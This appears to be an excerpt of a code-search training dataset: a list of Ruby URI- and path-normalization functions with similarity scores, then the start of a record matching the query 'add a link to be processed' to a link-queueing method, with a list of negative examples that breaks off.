"def file_uri_from_path(path)\n path = path.to_s if path.is_a?(Pathname)\n path = path.tr('\\\\', '/') if windows?\n path = URI::DEFAULT_PARSER.escape(path)\n return path.start_with?('/') ? \"file://\" + path : path unless windows?\n return \"file:///\" + path.tr(\"\\\\\", \"/\") if path =~ %r{^[a-zA-Z]:[/\\\\]}\n return \"file:\" + path.tr(\"\\\\\", \"/\") if path =~ %r{\\\\\\\\[^\\\\]+\\\\[^\\\\/]+}\n path.tr(\"\\\\\", \"/\")\n end",
"def simplify_path(path)\n return '' if path.empty?\n\n start_with_slash = path[0] == '/'\n stack = []\n stack << '' if start_with_slash\n tokens = path.split('/')\n tokens.each do |token|\n case token\n when '..'\n stack.pop if stack[-1] != ''\n\n when '.', ''\n next\n else\n stack.push token\n end\n end\n\n return '/' if stack.length == 1 && stack[0] == ''\n\n stack.join('/')\nend",
"def absolute_url_for(uri, str)\n # TODO: use URI.parse() for better handling?\n return str if str =~ /^[|[:alpha:]]+:\\/\\//\n File.join(((uri.path.empty?) ? uri.to_s : File.dirname(uri.to_s)), \n str)\n end",
"def extract_path(input)\n input_s = input.to_s\n if /^(\\w+):/.match(input_s)\n input_s.gsub(/^\\w+:[^\\/]*\\/\\/[^\\/]+(\\/[^\\?]+)(?:\\?.*)?$/, '\\1')\n else\n input_s.gsub(/(?:\\?.*)$/, '')\n end\n end",
"def reg_url2; /(.+)\\//; end",
"def reg_url2; /(.+)\\//; end",
"def normalize_paths(paths)\n paths = [paths] unless paths.is_a?(Array)\n paths.map(&:dup).map do |path|\n raise ArgumentError.new(\"Invalid path: #{path}\") unless valid_path?(path)\n # Strip leading slash from extension path\n path.gsub!(/^\\/(?=\\*.)/, '')\n # Escape some valid special characters\n path.gsub!(/[.+$\"]/) {|s| '\\\\' + s}\n # Replace * wildcards with .* regex fragment\n path.gsub!(/\\*/, '.*')\n \"^#{path}#{END_URL_REGEX}\"\n end\nend",
"def get_file_uri_path(uri)\n uri.sub(%r{\\Afile://}, '')\n end",
"def canonical_path\n p = path.gsub(/\\/+/,'/')\n p.length > 1 ? p.chomp('/') : p\n end",
"def extract_path(uri_or_path)\n uri = URI(uri_or_path)\n uri.kind_of?(URI::HTTP) ? uri.request_uri : uri_or_path\n end",
"def categorize_uri(str)\n regex = /\\.+/ # really simple host regex to thwart unwanted strings\n str = \"http://#{str}\" unless str.to_s =~ %r{\\Ahttps?://}\n uri = URI.parse(str.to_s)\n path = uri.path.chomp('/')\n return :unknown if (uri.host =~ regex).nil?\n\n path.empty? ? :host : :url\n rescue URI::InvalidURIError\n :unknown\n end",
"def normalize_uri(uri)\n (uri =~ /^(https?|ftp|file):/) ? uri : \"http://#{uri}\"\n end",
"def absolutize_url(url)\n # file_path = File.expand_path(File.join(working_directory, url))\n # full_path = File.expand_path(File.join(path, url))\n # full_path.gsub(File.expand_path(path), '')\n ('/' + url.split('./').last).gsub(%r(/+), '/')\n end",
"def normalized_request_path(path)\n if path == \"/\"\n path\n else\n path.chomp(\"/\")\n end\n end",
"def fix_oneoff url\n begin\n uri = URI.parse url\n return (\"\" == uri.path) ? url + '/' : url\n rescue\n #puts \"Ran into issue processing #{url}\"\n end\n end",
"def uri_normalizer; end",
"def normalize_req_path(req_path)\n # 1) Decode the req_path with URI::decode\n req_path = URI::decode(req_path)\n # 2) Strip first\n req_path = req_path.strip\n # 3) Remove first slash \n req_path = req_path[1..-1] if req_path[0,1]=='/'\n # 4) Remove last slash\n req_path = req_path[0..-2] if req_path[req_path.length-1,1]=='/'\n req_path\n end",
"def expand_path( path )\n File.expand_path( path.gsub( /^\\/+/, '' ), self.link.path.gsub( /\\/*$/, '/' ) ).gsub( /^C:/, '')\n end",
"def path_without_name_and_ref(path)\n Jekyll.sanitized_path theme.root, path.split(\"/\").drop(1).join(\"/\")\n end",
"def merge_path(base, rel)\n\n # RFC2396, Section 5.2, 5)\n # RFC2396, Section 5.2, 6)\n base_path = split_path(base)\n rel_path = split_path(rel)\n\n # RFC2396, Section 5.2, 6), a)\n base_path << '' if base_path.last == '..'\n while i = base_path.index('..')\n base_path.slice!(i - 1, 2)\n end\n\n if (first = rel_path.first) and first.empty?\n base_path.clear\n rel_path.shift\n end\n\n # RFC2396, Section 5.2, 6), c)\n # RFC2396, Section 5.2, 6), d)\n rel_path.push('') if rel_path.last == '.' || rel_path.last == '..'\n rel_path.delete('.')\n\n # RFC2396, Section 5.2, 6), e)\n tmp = []\n rel_path.each do |x|\n if x == '..' &&\n !(tmp.empty? || tmp.last == '..')\n tmp.pop\n else\n tmp << x\n end\n end\n\n add_trailer_slash = !tmp.empty?\n if base_path.empty?\n base_path = [''] # keep '/' for root directory\n elsif add_trailer_slash\n base_path.pop\n end\n while x = tmp.shift\n if x == '..'\n # RFC2396, Section 4\n # a .. or . in an absolute path has no special meaning\n base_path.pop if base_path.size > 1\n else\n # if x == '..'\n # valid absolute (but abnormal) path \"/../...\"\n # else\n # valid absolute path\n # end\n base_path << x\n tmp.each {|t| base_path << t}\n add_trailer_slash = false\n break\n end\n end\n base_path.push('') if add_trailer_slash\n\n return base_path.join('/')\n end",
"def path\n return @path.sub(/^\\//,'').sub(/^%2F/,'/')\n end",
"def path_from_url(url)\n\tresult = url.sub(/https*:\\/\\/[^\\/]*/, '') # Eliminate http[s]:// and beyond to first slash\nend",
"def unify_path(s)\r\n p = s.frozen? ? s.dup : s\r\n p.gsub!( /\\\\/, '/' )\r\n p = \"#{$1.upcase}/#{$POSTMATCH}\" if p =~ REGEX_DISK\r\n if RUBY_PLATFORM =~ REGEX_CYGWIN\r\n\tif p =~ REGEX_CYGDRIVE\r\n\t p = \"/cygdrive/#{$1.upcase}/#{$POSTMATCH}\" \r\n\telse\r\n\t p.sub!( REGEX_DISK2, '/cygdrive/\\1/' ) if @name == 'PATH'\r\n\tend\r\n end\r\n return p\r\n end",
"def path\r\n url.gsub(/https?:\\/\\/[^\\/]+\\//i, '').scan(/([^&]+)/i).first().first()\r\n end",
"def cleanpath\n names = []\n split('/').each do |name|\n case name\n when '..'\n names.pop\n when '.'\n when ''\n else\n names.push name\n end\n end\n names.join('/')\n end",
"def normalize_uri(uri)\n (uri =~ /^(https?|ftp|file):/) ? uri : \"http://#{uri}\"\n end",
"def base_uri\n ary = contents_uri.to_s.split(\"/\")\n ary.pop if ary[-1].blank?\n ary.pop\n ary.join(\"/\") + \"/\"\n end",
"def web_path\n # 47 char is \"/\"\n return path[0] == 47 ? path : \"/\" + path\n end",
"def relative_path(path)\n # replace array referenced IN the path\n first_pass = path.gsub(/\\/([^\\/]+)\\[\\d+\\]\\//i,\"/*/\")\n # replace array references AT THE END of the path too\n first_pass.gsub(/\\/([^\\/]+)\\[\\d+\\]$/,\"/*\")\n end",
"def split_path; end",
"def path_comps path\n path.nil? || path.empty? ? [] : path[1..(path[-1] == \"/\" ? -2 : -1)].split('/')\n end",
"def expand_path(href)\n return href if href.match(/^https*:\\/\\//) # if starts with protocol complete link\n return @request_href unless href.match(/[a-zA-Z0-9]+/) # rejects href=\"#\" and allows non-unique exception handling.\n return @request_href if href.match(/#[a-zA-Z0-9]*$/)\n\n if href[0, 1] != \"/\"\n return @request_href + href if @request_href[-1, 1] == \"/\"\n return @request_href + \"/\" + href\n else\n # relative path from domain.\n base_url = @request_href.match(BASEURLREG).to_a.first\n return base_url + href unless base_url[-1, 1] == \"/\"\n return base_url.chop + href\n end\n end",
"def slashless_url(url)\n url.chomp('/')\n end",
"def clean_path(directory)\n directory.gsub(/\\/\\//, '/')\n end",
"def relative_path(path)\n path.split('/').drop(5).join('/')\nend",
"def simplify_path(str)\n directory_names = str.split('/')\n stack = Stack.new\n\n directory_names.each do |name|\n next if name == '.' || name.empty?\n next stack.pop if name == '..'\n stack.push(\"/#{name}\")\n end\n\n result = ''\n until stack.empty?\n result.prepend(stack.pop || '')\n end\n result == '' ? '/' : result\nend",
"def full_url(url, path)\n if path.start_with?('http')\n path\n else\n url = url[0..1] if url.end_with?('/')\n path = path[1..-1] if path.start_with?('/')\n \"#{url}/#{path}\"\n end\n end",
"def test_valid_unc_uris\n [\n ['file:////example.com/Share/dir/file.ext', '//example.com/Share/dir/file.ext', '\\\\\\\\example.com\\\\Share\\\\dir\\\\file.ext'],\n ['file://///example.com/Share/dir/file.ext', '//example.com/Share/dir/file.ext', '\\\\\\\\example.com\\\\Share\\\\dir\\\\file.ext'],\n\n ['file:////localhost/Share/dir/file.ext', '//localhost/Share/dir/file.ext', '\\\\\\\\localhost\\\\Share\\\\dir\\\\file.ext'],\n ['file://///localhost/Share/dir/file.ext', '//localhost/Share/dir/file.ext', '\\\\\\\\localhost\\\\Share\\\\dir\\\\file.ext'],\n ].each do |str, path, unc|\n uri = URI.parse(str)\n assert_kind_of( URI::FileCommon, uri )\n assert_equal( path, uri.path )\n\n assert_equal( false, uri.local?(localhost: false) )\n assert_equal( false, uri.local?(localhost: true) )\n assert_equal( false, uri.local? )\n assert_equal( false, uri.local?(localhost: :any) )\n\n assert_raise(RuntimeError) { uri.to_file_path(localhost: false) }\n assert_raise(RuntimeError) { uri.to_file_path(localhost: true) }\n assert_raise(RuntimeError) { uri.to_file_path }\n assert_raise(RuntimeError) { uri.to_file_path(localhost: :any) }\n\n assert_equal( unc, uri.to_unc(localhost: false) )\n assert_equal( unc, uri.to_unc(localhost: true) )\n assert_equal( unc, uri.to_unc )\n assert_equal( unc, uri.to_unc(localhost: :any) )\n end\n end",
"def sanitize_path(path)\n # joining (e.g. `foo + \"/\" + bar`)\n path = path.gsub(%r{^/+}, \"/\")\n\n # remove leading and trailing slash\n path.sub(%r{^/}, \"\").sub(%r{/$}, \"\")\n end",
"def get_path(fullpath = \"\")\n (fullpath || \"\").scan(/^[\\w+|\\/]+/)[0]\n end",
"def normalize_path(path)\n raise if !path.instance_of?(String)\n\n path = path.strip\n if path.size == 0\n path = \"/\"\n end\n if path[0] != \"/\"\n path = \"/\" + path\n end\n return path\n end",
"def uri_join(*paths)\n return nil if paths.length == 0\n leadingslash = paths[0][0] == '/' ? '/' : ''\n trailingslash = paths[-1][-1] == '/' ? '/' : ''\n paths.map! { |path| path.sub(/^\\/+/, '').sub(/\\/+$/, '') }\n leadingslash + paths.join('/') + trailingslash\n end",
"def resolve_path(path, kv)\n validate_instance_of(:kv, kv, Hash)\n resolved = []\n # When splitting path, preserve the trailing slash (hence, -1)\n path.split('/', -1).each do |part|\n resolved_part = (part =~ /^:/) ? CGI.escape(kv[part.sub(/^:/, '')].to_s) : part\n if (part != \"\" and resolved_part == \"\")\n raise UriError.new(\"Cannot resolve #{part} in path #{path} from #{kv.inspect}\")\n end\n resolved << resolved_part\n end\n resolved.join('/')\n end",
"def sanitize_path(path)\n # joining (e.g. `foo + \"/\" + bar`)\n path = path.gsub(/^\\/+/, '/')\n\n # remove leading and trailing slash\n return path.sub(/^\\//, '').sub(/\\/$/, '')\n end",
"def simplify_path(path)\n path_tokens = path.split(\"/\").reject{ |x| x.empty? || x == \".\" }\n stack = []\n path_tokens.each{ |x|\n if x == \"..\"\n stack.pop if stack.any?\n else\n stack.push(x)\n end\n }\n\n \"/\" << stack.join(\"/\")\nend",
"def expandPath(url)\n stack = []\n urlTokens = url.split '/'\n while urlTokens.count > 0\n token = urlTokens.shift\n next if token == '.'\n if token == '..'\n puts 'error: invalid path' and return if stack.count == 0\n stack.pop\n else\n stack.push token\n end\n end\n stack.join('/')\nend",
"def parse_path(path_chunks)\n path = path_chunks[1]\n subpath_chunks = path.split(\"/\")\n base_dir = subpath_chunks[1]\n remaining_path = subpath_chunks[2..-1].join(\"/\")\n [base_dir, remaining_path]\n end",
"def calculate_uri(uri)\n if uri[0] != '/' && uri.index('://') && uri.index('://') > 0\n uri = ::URI.split(uri)[5] # path component of uri\n end\n\n uri = Uri.normalize(uri.gsub('//', '/'))\n base_uri = Uri.normalize(self.base_uri)\n\n if uri.index(base_uri) == 0\n return Http::UrlUtil.decode_path(uri[base_uri.length..-1]).gsub(%r{^/+}, '').gsub(%r{/+$}, '')\n\n elsif \"#{uri}/\" == base_uri\n # A special case, if the baseUri was accessed without a trailing\n # slash, we'll accept it as well.\n return ''\n else\n fail Exception::Forbidden, \"Requested uri (#{uri}) is out of base uri (#{self.base_uri})\"\n end\n end",
"def full_path_for(path)\n path = \"/#{path}\" unless path[0..0] == '/'\n path\n end",
"def process_uri(uri)\n ret = uri\n\n require 'open-uri'\n require 'open_uri_redirections'\n begin\n open(uri, :allow_redirections => :safe) do |r|\n ret = r.base_uri.to_s\n end\n end\n\n ret\n end",
"def normalized_path\n if normalized_scheme == \"urn\"\n # Special-case URI. Normalize the NID component only\n nid, p = path.to_s.split(':', 2)\n return \"#{nid.downcase}:#{p}\"\n end\n\n segments = path.to_s.split('/', -1) # preserve null segments\n\n norm_segs = case\n when authority\n # ipath-abempty\n segments.map {|s| normalize_segment(s, ENCODE_ISEGMENT)}\n when segments[0].nil?\n # ipath-absolute\n res = [nil]\n res << normalize_segment(segments[1], ENCODE_ISEGMENT) if segments.length > 1\n res += segments[2..-1].map {|s| normalize_segment(s, ENCODE_ISEGMENT)} if segments.length > 2\n res\n when segments[0].to_s.index(':')\n # ipath-noscheme\n res = []\n res << normalize_segment(segments[0], ENCODE_ISEGMENT_NC)\n res += segments[1..-1].map {|s| normalize_segment(s, ENCODE_ISEGMENT)} if segments.length > 1\n res\n when segments[0]\n # ipath-rootless\n # ipath-noscheme\n res = []\n res << normalize_segment(segments[0], ENCODE_ISEGMENT)\n res += segments[1..-1].map {|s| normalize_segment(s, ENCODE_ISEGMENT)} if segments.length > 1\n res\n else\n # Should be empty\n segments\n end\n\n res = self.class.normalize_path(norm_segs.join(\"/\"))\n # Special rules for specific protocols having empty paths\n (res.empty? && %w(http https ftp tftp).include?(normalized_scheme)) ? '/' : res\n end",
"def simplify_path(path)\n stack = []\n result = ''\n\n path.split('/').each do |dir|\n if dir == '' || dir == '.'\n next\n elsif dir == '..'\n stack.pop()\n else\n stack.push(dir)\n end\n end\n\n while stack.length > 0\n result = '/' + stack.pop() + result\n end\n\n return '/' if result == ''\n\n result\nend",
"def normalize_uri uri\n (uri =~ /^https?:/) ? uri : \"http://#{uri}\"\n end",
"def cleanup_paths(*paths)\n #.gsub(%r{#{@locations[:root]}/#{@locations[:root]}}, @locations[:root])\n paths.join('/').gsub(/[\\/]{2,}/,'/')\n end",
"def parse_uri(path, env)\n uri = URI.parse(path)\n uri.path = \"/#{uri.path}\" unless uri.path.start_with?('/')\n uri.host ||= @default_host\n uri.scheme ||= 'https' if env['HTTPS'] == 'on'\n uri\n end",
"def request_uri(uri)\n if has_colon_path_separator?(uri)\n path = hostname_and_path(uri).split(':').all_but_first.join('/')\n else\n path = hostname_and_path(uri).split('/').all_but_first.join('/')\n path.blank? ? nil : '/' + path\n end\n end",
"def relative_path_from(from); end",
"def mangle(path)\n path.gsub(%r{^file://}, '')\n end",
"def uri_join(*parts)\n parts = parts.compact.map(&URI.method(:escape))\n URI.parse(parts.join('/')).normalize.to_s\nend",
"def normalize_url(url)\n\t\tbegin\n\t\t\turl.strip!\n\t\t\t# Converting the scheme and host to lower case in the process, i.e. 'HTTP://www.Example.com/' => 'http://www.example.com/' \n\t\t\t# Normalize the base\n\t\t\tbase=url_2_site(url) \n\t\t\t# Case#1, remove the trailing dot after the hostname, i.e, 'http://www.yahoo.com./' => 'http://www.yahoo.com/'\n\t\t\tbase=base.sub(/\\.\\/$/,'/')\n\t\t\t# Normalize the relative path, case#1\n\t\t\t# retrieve the file path and remove the first '/' or '.', \n\t\t\t# i.e. 'http://www.example.com/mypath' or 'http://www.example.com/./mypath' => 'mypath'\n\t\t\tpath=url_2_path(url).sub(/^(\\/|\\.)*/,'')\n\t\t\t# Normalize the relative path, case#2\n\t\t\t# Replace dot-segments. \"/../\" and \"/./\" with \"/\", i.e. 'http://www.example.com/../a/b/../c/./d.html\" => 'http://www.example.com/a/c/d.html'\n\t\t\tpath=path.gsub(/\\/\\.{1,2}\\//,'/')\n\t\t\tif path.nil?\n\t\t\t\treturn base\n\t\t\telse\n\t\t\t\treturn base+path\n\t\t\tend\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for #{url}: #{ee}\" if @verbose\n\t\t\treturn url\n\t\tend\n\tend",
"def normalize_path(path)\n return '' if path.eql? '<>'\n path =~ PATH\n $~[1].to_s.downcase + normalize_local_part($~[9]) + \"@\" + $~[12].downcase\n end",
"def normalize_uri\n if @uri.start_with? '/api/'\n return @uri\n else\n return \"/api/#{@uri}\"\n end\n end",
"def uniPath(source)\n source.gsub(/\\\\/, File::SEPARATOR)\nend",
"def resolve_path(path, reference)\n # Absolute URL\n if path =~ %r{^(/|[a-z]+:)}\n if @options[:document_root].nil?\n msg = \"Cannot resolve absolute path '#{path}' without document root option\"\n raise ArgumentError.new(msg)\n end\n\n path.sub!(%r{^[a-z]+://[^/]+/}, '')\n return File.expand_path(File.join(@options[:document_root], path))\n end\n\n File.expand_path(File.join(File.dirname(reference), path))\n end",
"def docpath(uri)\n return File.join(DOCUMENT_ROOT, uri.gsub('/', File::SEPARATOR)).gsub(/#{File::SEPARATOR}$/, \"\")\n end",
"def clean_path(path)\n if path\n (path[0] != '/' ? path.insert(0, '/') : path).gsub(/\\/{2,}/, '/')\n end\n end",
"def extract_base_url(uri)\n root = uri.split(\"/\",4)\n root[0] + \"//\" + root[2]\n end",
"def join_paths(paths)\n paths.join('/').gsub(%r{/+}, '/')\n end",
"def normalise\n Wgit::Url.new(@uri.normalize.to_s)\n end",
"def normalize(path)\n path.gsub(/\\\\/, \"/\")\n end",
"def explicit_relative(path)\n # Paths that do not start with \"/\", \"./\", or \"../\" will be prefixed with ./\n path.sub(%r(^(?!\\.{0,2}/)), './')\n end",
"def sanitize_path(path)\n newpath = path.gsub(/\\/+/, '/')\n while newpath.gsub!(%r{([^/]+)/\\.\\./?}) { |match|\n $1 == '..' ? match : ''\n } do end\n newpath.gsub(%r{/\\./}, '/').sub(%r{/\\.\\z}, '/')\n end",
"def path(*elements) #Create a path from the elements\n#-------------------------------------------------------------------------------\n path=elements.join('/').strip #Remove leading and trailing whitespace\n while path.gsub!('//','/'); end #Remove duplicate slashes\n return path\nend",
"def _path uri, subject\n [uri.request_uri, subject].join\nend",
"def _path uri, subject\n [uri.request_uri, subject].join\nend"
] | [
"0.7050252",
"0.6911172",
"0.6911172",
"0.68011254",
"0.677133",
"0.67306715",
"0.6601699",
"0.65985906",
"0.65985906",
"0.6590226",
"0.6532023",
"0.6532023",
"0.6453584",
"0.64493656",
"0.6447845",
"0.6432042",
"0.64209706",
"0.63909125",
"0.6367975",
"0.6360824",
"0.63547516",
"0.6311897",
"0.62633437",
"0.6253081",
"0.6232644",
"0.6210744",
"0.6206922",
"0.62049615",
"0.6193031",
"0.6192998",
"0.6192998",
"0.6184197",
"0.61765987",
"0.61727124",
"0.61599076",
"0.61551064",
"0.6147042",
"0.614586",
"0.6145034",
"0.6138849",
"0.6135322",
"0.6131658",
"0.61246216",
"0.61233795",
"0.6122461",
"0.6116173",
"0.6107772",
"0.61050206",
"0.6104812",
"0.6100698",
"0.60952914",
"0.60903573",
"0.60902923",
"0.6079893",
"0.60760385",
"0.60732585",
"0.60728264",
"0.6064845",
"0.6058977",
"0.6049219",
"0.6047439",
"0.60395646",
"0.6034426",
"0.6031565",
"0.602998",
"0.60273427",
"0.6004898",
"0.60021174",
"0.5996779",
"0.5990189",
"0.597308",
"0.59695256",
"0.5963107",
"0.5958175",
"0.59575796",
"0.59541315",
"0.59530765",
"0.5935505",
"0.5932014",
"0.5929433",
"0.5917734",
"0.5912727",
"0.59100026",
"0.59095937",
"0.59092087",
"0.590905",
"0.59062284",
"0.58928114",
"0.58899295",
"0.58888113",
"0.588613",
"0.586213",
"0.5856596",
"0.5836977",
"0.58368",
"0.58305895",
"0.58281237",
"0.58261234",
"0.58239794",
"0.58239794"
] | 0.7364567 | 0 |
add a link to be processed | def add_uri(new_link, from = nil, recurse = true)
return if not new_link
uri = (new_link.class == LinkToLoad ? new_link.uri : new_link)
link = to_validate[uri] || queued[uri] || validated[uri] || invalid[uri]
if not link
puts 'queueing ' + uri.to_s if @opts[:verbose]
link = (new_link.class == LinkToLoad ? new_link : LinkToLoad.new(uri, from, @opts.merge({ recurse: recurse }), self))
to_validate[uri] = link
elsif from and not @opts[:duplicate]
link.add_page_from from
end
link
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_link(link)\n links << link\n end",
"def add_link\n @bib.link.each do |l|\n case l.type&.downcase\n when \"doi\" then @item.doi = l.content\n when \"file\" then @item.file2 = l.content\n when \"src\" then @item.url = l.content\n end\n end\n end",
"def append_link\n url = params[:link]\n @link = Link.new()\n @link.url = url[:url]\n @link.package = Package.find(params[:package_id])\n @link.save()\n # renova a busca para atualizar lista de links.\n @links = Link.find(:all, :conditions => [\"package_id = ?\", params[:package_id]])\n\n flash[:notice] = \"Link was successfully appended.<br/>\" + url[:url]\n redirect_to :action => 'show', :id => params[:package_id]\n end",
"def add_link(links)\n links = [links] if links.is_a?(String)\n self.class.get(\"/action/add/links/grabber0/start1/\"+links.join(\" \"))\n end",
"def link(link, title, content)\n\t \"<u><link href='#{link}'>#{content}</link></u>\"\n\t end",
"def link() url; end",
"def link() url; end",
"def link uri\n self.apply_hyperlink java.net.URI.new(uri)\n end",
"def add_href\n return if attributes.key?(\"href\")\n return unless attributes.key?(\"id\")\n attributes[\"href\"] = client.connection.api_path(\"#{collection.name}/#{attributes['id']}\")\n end",
"def add_this(text, url)\n link_to text, \"http://www.addthis.com/bookmark.php\", :onmouseover => \"return addthis_open(this, '', '#{url}', '');\", :onmouseout => \"addthis_close();\", :onclick => \"return addthis_sendto();\"\n end",
"def add(link)\n @queue.add link\n end",
"def add_link(target)\n link = Link.new\n link.target_type = target.class.to_s\n link.target_id = target.id\n #adding a link to the link collection should set the polymorphic assosication\n links << link\n link\n end",
"def check_is_add_link_request\n if params[:add_link]\n link_text = \" link(#{t(:visible_text)}, #{t(:invisible_url)}) \"\n p = Paragraph.find(params[:add_link].keys.first)\n p.update_attributes({title: p.get_title, body: p.get_body + link_text})\n end\n end",
"def add(url)\n @links << url\n end",
"def html_link(item)\n tag :a, yield, :href => item.url\n end",
"def link(link, title, content)\n \"#{content} (#{link})\"\n end",
"def add_link(uri, x0, y0, x1, y1)\n PDF::Writer::Object::Annotation.new(self, :link, [x0, y0, x1, y1], uri)\n end",
"def add_link(key, name)\n passage = Passage.where(name: name).first\n\n self.links << Link.create({ key: key, passage: passage })\n end",
"def append_link( output, text, record )\n return ( output << \" \" << link_to(\n text.html_safe,\n {\n :controller => record.auditable_type.downcase.pluralize,\n :action => 'show',\n :id => record.auditable_id\n }\n )\n ).html_safe()\n end",
"def add_link(el, href, title, alt_text = T.unsafe(nil), ial = T.unsafe(nil)); end",
"def link *a; app.link *a end",
"def link\n Html::Link.new(:href => url) << display_name\n end",
"def create_links\n end",
"def create_links\n end",
"def add(link, options={})\n if file = link.is_a?(SitemapFile) && link\n @sitemaps_link_count += file.link_count\n file.finalize!\n end\n super(SitemapGenerator::Builder::SitemapIndexUrl.new(link, options))\n end",
"def parse_link; end",
"def link(relation, href, options={})\n @resource.add_link relation, href, options\n end",
"def link(_content, _url)\n raise NotImplementedError\n end",
"def link_to(name, url, options = {}); end",
"def add_link(lh)\n lnk_wid = lh[:wid]\n\tlnk_role = lh[:role]\n\t\n\t# find or create the attach node\n if @doc.xpath('//field[@id=\"linkedWorkItems\"]/list').last.nil?\n Nokogiri::XML::Builder.with(@doc.xpath('//work-item').last) do\n field(:id => 'linkedWorkItems') {\n\t list {}\n\t }\n end\n end\n\t\n\t# build and attach the link struct\n\tNokogiri::XML::Builder.with(@doc.xpath('//field[@id=\"linkedWorkItems\"]/list').last) do\n\t struct {\n\t item(:id => 'revision')\n\t\titem(:id => 'workItem') {\n\t\t text lnk_wid\n\t\t}\n\t\titem(:id => 'role') {\n\t\t text lnk_role\n\t\t}\n\t }\n\tend\n end",
"def link(content,href,options={})\n options.update :href => href\n tag :a, content, options\n end",
"def link!\n self.linkbutton = true\n self.save\n self.linkbutton\n end",
"def link_to_add_entry page\n url = new_admin_page_path parent_id: @page.id, type: page_set_type(page)\n raw link_to 'Add Entry', url, class: 'button add', id: 'add-entry'\n end",
"def add_link step, condition\n # need to review whether we need links as a has table of this kind\n link = Link.new(step, condition)\n @links[condition] = link\n condition.step.add_link link\n link\n end",
"def add_link step, condition\r\n # need to review whether we need links as a has table of this kind\r\n link = Link.new(step, condition)\r\n @links[condition] = link\r\n condition.step.add_link link\r\n link\r\n end",
"def link(link, title, content)\n link = OodAppkit.files.api(path: @app_path.to_s + '/' + link).to_s if @app_path && relative?(link)\n return \"<a href=\\\"#{link}\\\" rel=\\\"noopener\\\" target=\\\"_blank\\\">#{content}</a>\" unless id_link?(link)\n return \"<a href=\\\"#{link}\\\">#{content}</a>\"\n end",
"def link(link, title, content)\n if no_links\n content\n else\n # \"<a href=\\\"#{DashboardRouter.normalize(link)}\\\" target=\\\"_top\\\">#{content}</a>\"\n \"<a href=\\\"#{link}\\\">#{content}</a>\"\n end\n end",
"def link(link_text)\n element(damballa(link_text+\"_link\")) { |b| b.link(:text=>link_text) }\n action(damballa(link_text)) { |b| b.link(:text=>link_text).click }\n end",
"def make_link(source:, link:)\n @output.item @i18n.t('setup.ln', target: link, source: source)\n FileUtils::rm link if (File::symlink? link and not File::exist? link)\n FileUtils::ln_s source, link unless File::exist? link\n end",
"def add_link(options = {}, &block)\n id = @link_options[:id] ? (@link_options[:id].to_s + \"_\" + (@links.size + 1).to_s) : nil\n link = Ubiquo::NavigationLinks::Link.new(\n { :id => id, \n :class => @link_options[:class]\n }.merge(options))\n @links << link\n block.call(link)\n link\n end",
"def process_page_link_tag(tag)\n parts = tag.split(' ')\n\n url, *descp = parts\n title = descp.join(\" \")\n\n alternatives = Repos.alternatives(*url.split(\"/\"))\n\n base_link, add_links = [], []\n\n extern_url = url =~ /^https?:/\n\n url = \"/#{url}\" if not url[0..0] == \"/\" and not extern_url\n title = url if title.empty?\n\n if extern_url\n return %Q{<a href=\"#{url}\">#{title}</a>}\n elsif tag =~ /^mailto:/\n return %Q{<a href=\"#{tag}\">#{tag.split(\":\")[1..-1]}</a>}\n end\n\n if not alternatives.empty?\n alternatives.each_pair do |ext, file|\n if ext == defext # find page with default extension\n\n base_url =\n if alternatives.size > 1\n # add extension for base_url unless given\n url !~ /\\.#{ext}$/ ? \"#{url}.#{ext}\" : url\n else url end\n\n base_link << [base_url, file]\n else\n add_links << [\"#{url}.#{ext}\", file]\n end\n end\n else\n # not existing page\n base_link << [url, nil]\n end\n\n # sort links by extension\n add_links = add_links.sort_by{|link, file| File.extname(file) }\n\n if base_link.empty?\n base_link << add_links.shift\n end\n\n title = title[1..-1] if title[0..0] == \"/\"\n base_link.map!{|url, _| mk_link(url, (alternatives.empty? ? \"o\" : \"x\"), title) }\n add_links.map!{|url, _| mk_link(url, 'alt', nil) }\n\n ret = base_link.join\n unless add_links.empty?\n ret << \" <span class='alts'><sup>(%s)</sup></span>\" % add_links.join(\", \")\n end\n ret\n end",
"def external_link(link_label, url, options={})\n attributes = options[:attributes] || {}\n children = options[:children] || {}\n image = options[:image] || {}\n\n img =\"\"\n unless image.empty?\n img = self.external_image(image[:url], image, true) \n end\n\n child_elements = self.children_list(children) << img\n link_label = self.tag('label', link_label)\n url = self.tag('url', url)\n link = self.tag('externalLink', url << link_label << child_elements, attributes)\n\n cell = options[:cell] || {}\n row = options[:row] || {}\n self.row_cell(link, cell, row)\n end",
"def linkify(options = {})\n url = options[:value].first\n link_to url, url\n end",
"def link_action_add(path = nil, url_options = {})\n path ||= path_args(model_class)\n link_action ti(:\"link.add\"), 'plus', path.is_a?(String) ? path : new_polymorphic_path(path, url_options)\n end",
"def link_action_add(path = nil, url_options = {})\n path ||= path_args(model_class)\n link_action ti(:\"link.add\"), 'plus', path.is_a?(String) ? path : new_polymorphic_path(path, url_options)\n end",
"def update_link(link)\n if i = find_index { |l| l.rel.to_s == link.rel.to_s }\n return self[i] = link\n end\n self << link\n end",
"def click(link); end",
"def emit_link(cur_mtg_dir, f, desc)\n _a desc, href: f.include?('/') ? f : File.join(cur_mtg_dir, f)\nend",
"def add_line_items_link\n self.get_element(@browser, '//a[contains(@href, \"/line_items/create?insertion_orders.id=\")]')\n end",
"def add_link(el, href, title, alt_text = nil, ial = nil)\n el.options[:ial] = ial\n update_attr_with_ial(el.attr, ial) if ial\n if el.type == :a\n el.attr['href'] = href\n else\n el.attr['src'] = href\n el.attr['alt'] = alt_text\n el.children.clear\n end\n el.attr['title'] = title if title\n @tree.children << el\n end",
"def link\n h.content_tag :li do\n h.link_to h.content_tag(:i, '' , class: object.icon ) , object.url , target: \"_blank\" , title: object.name\n end\n end",
"def link(url, title) # :nodoc:\n warn \"link called from #{self.inspect}\"\n \"[#{title}](#{url})\"\n end",
"def with_link(*args)\n @links.push(args.length == 1 ? args.first : Link.new(*args))\n self\n end",
"def make_link(url, text)\n return (\"[#{text}|#{url}]\")\n end",
"def link(tag)\n apply_uri_template @tag_link_template, tag: safe_parameterize(tag)\n end",
"def AddLink()\n\t\t#Create a new internal link\n\t\[email protected]+1;\n\t\t@links[n]=[0,0];\n\t\treturn n;\n\tend",
"def link(url)\n if @_bucket.nil?\n raise \"Robots.link must be called inside of allow or disallow block\"\n else\n @_bucket.push(url.to_s)\n end\n end",
"def create_link(item_nr)\n \"<a href=\\'/item/#{item_nr}\\'>#{self}</a>\"\n end",
"def new_link\n @link = Link.new\n end",
